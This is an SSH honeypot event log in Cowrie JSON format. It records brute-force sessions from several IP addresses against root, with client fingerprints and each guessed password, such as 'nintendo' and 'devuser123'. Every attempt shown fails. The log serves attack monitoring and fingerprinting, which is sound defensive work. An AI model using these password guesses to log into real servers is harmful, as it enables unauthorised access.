{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:03:55.034420Z","src_ip":"103.149.170.125","session":"633efc16b381","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:03:55.813462Z","src_ip":"103.149.170.125","session":"633efc16b381","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:03:57.076685Z","src_ip":"103.149.170.125","session":"633efc16b381","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.71.92","src_port":39260,"dst_ip":"10.17.0.5","dst_port":22,"session":"6d5fa7b3b91e","protocol":"ssh","message":"New connection: 43.134.71.92:39260 (10.17.0.5:22) [session: 6d5fa7b3b91e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:04:15.751348Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:04:15.757556Z","src_ip":"43.134.71.92","session":"6d5fa7b3b91e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:04:15.994251Z","src_ip":"43.134.71.92","session":"6d5fa7b3b91e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"topper","message":"login attempt [root/topper] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:04:16.971830Z","src_ip":"43.134.71.92","session":"6d5fa7b3b91e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.84.242","src_port":39766,"dst_ip":"10.17.0.5","dst_port":22,"session":"874b5ed2ea30","protocol":"ssh","message":"New connection: 103.249.84.242:39766 (10.17.0.5:22) [session: 874b5ed2ea30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:04:17.989008Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:04:17.992851Z","src_ip":"103.249.84.242","session":"874b5ed2ea30","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:04:18.211513Z","src_ip":"43.134.71.92","session":"6d5fa7b3b91e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:04:18.219438Z","src_ip":"103.249.84.242","session":"874b5ed2ea30","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nintendo","message":"login attempt [root/nintendo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:04:19.153530Z","src_ip":"103.249.84.242","session":"874b5ed2ea30","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:04:20.383703Z","src_ip":"103.249.84.242","session":"874b5ed2ea30","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"189.203.163.10","src_port":42828,"dst_ip":"10.17.0.5","dst_port":22,"session":"dbd799fb5e9e","protocol":"ssh","message":"New connection: 189.203.163.10:42828 (10.17.0.5:22) [session: dbd799fb5e9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:04:33.955841Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:04:33.960693Z","src_ip":"189.203.163.10","session":"dbd799fb5e9e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:04:34.023734Z","src_ip":"189.203.163.10","session":"dbd799fb5e9e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"devuser123","message":"login attempt [root/devuser123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:04:34.314678Z","src_ip":"189.203.163.10","session":"dbd799fb5e9e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:04:35.380720Z","src_ip":"189.203.163.10","session":"dbd799fb5e9e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.119.212.99","src_port":46754,"dst_ip":"10.17.0.5","dst_port":22,"session":"b5ef92fe52ca","protocol":"ssh","message":"New connection: 45.119.212.99:46754 (10.17.0.5:22) [session: b5ef92fe52ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:04:42.427251Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:04:42.431360Z","src_ip":"45.119.212.99","session":"b5ef92fe52ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:04:42.694622Z","src_ip":"45.119.212.99","session":"b5ef92fe52ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bigdata","message":"login attempt [root/bigdata] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:04:43.907115Z","src_ip":"45.119.212.99","session":"b5ef92fe52ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:04:45.171541Z","src_ip":"45.119.212.99","session":"b5ef92fe52ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.127.197.59","src_port":44678,"dst_ip":"10.17.0.5","dst_port":22,"session":"aa447615fed3","protocol":"ssh","message":"New connection: 89.127.197.59:44678 (10.17.0.5:22) [session: aa447615fed3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:04:47.448234Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:04:47.452646Z","src_ip":"89.127.197.59","session":"aa447615fed3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:04:47.579906Z","src_ip":"89.127.197.59","session":"aa447615fed3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"11121964","message":"login attempt [root/11121964] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:04:48.119217Z","src_ip":"89.127.197.59","session":"aa447615fed3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:04:49.249576Z","src_ip":"89.127.197.59","session":"aa447615fed3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":45942,"dst_ip":"159.203.135.109","dst_port":22,"session":"546309fa7fc6","protocol":"ssh","message":"New connection: 87.251.79.125:45942 (159.203.135.109:22) [session: 546309fa7fc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:05:09.335844Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:05:09.340891Z","src_ip":"87.251.79.125","session":"546309fa7fc6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:05:09.418219Z","src_ip":"87.251.79.125","session":"546309fa7fc6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"anthony","message":"login attempt [root/anthony] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:05:09.637700Z","src_ip":"87.251.79.125","session":"546309fa7fc6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:05:10.713573Z","src_ip":"87.251.79.125","session":"546309fa7fc6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.71.92","src_port":54894,"dst_ip":"10.17.0.5","dst_port":22,"session":"83d53f662b5f","protocol":"ssh","message":"New connection: 43.134.71.92:54894 (10.17.0.5:22) [session: 83d53f662b5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:05:30.247298Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:05:30.252719Z","src_ip":"43.134.71.92","session":"83d53f662b5f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:05:30.490431Z","src_ip":"43.134.71.92","session":"83d53f662b5f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nintendo","message":"login attempt [root/nintendo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:05:31.470810Z","src_ip":"43.134.71.92","session":"83d53f662b5f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:05:32.710162Z","src_ip":"43.134.71.92","session":"83d53f662b5f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.225.252.182","src_port":10008,"dst_ip":"10.17.0.5","dst_port":22,"session":"7e2a427fc8f3","protocol":"ssh","message":"New connection: 80.225.252.182:10008 (10.17.0.5:22) [session: 7e2a427fc8f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:05:35.706128Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:05:35.711223Z","src_ip":"80.225.252.182","session":"7e2a427fc8f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:05:35.911382Z","src_ip":"80.225.252.182","session":"7e2a427fc8f3","protocol":"ssh"}
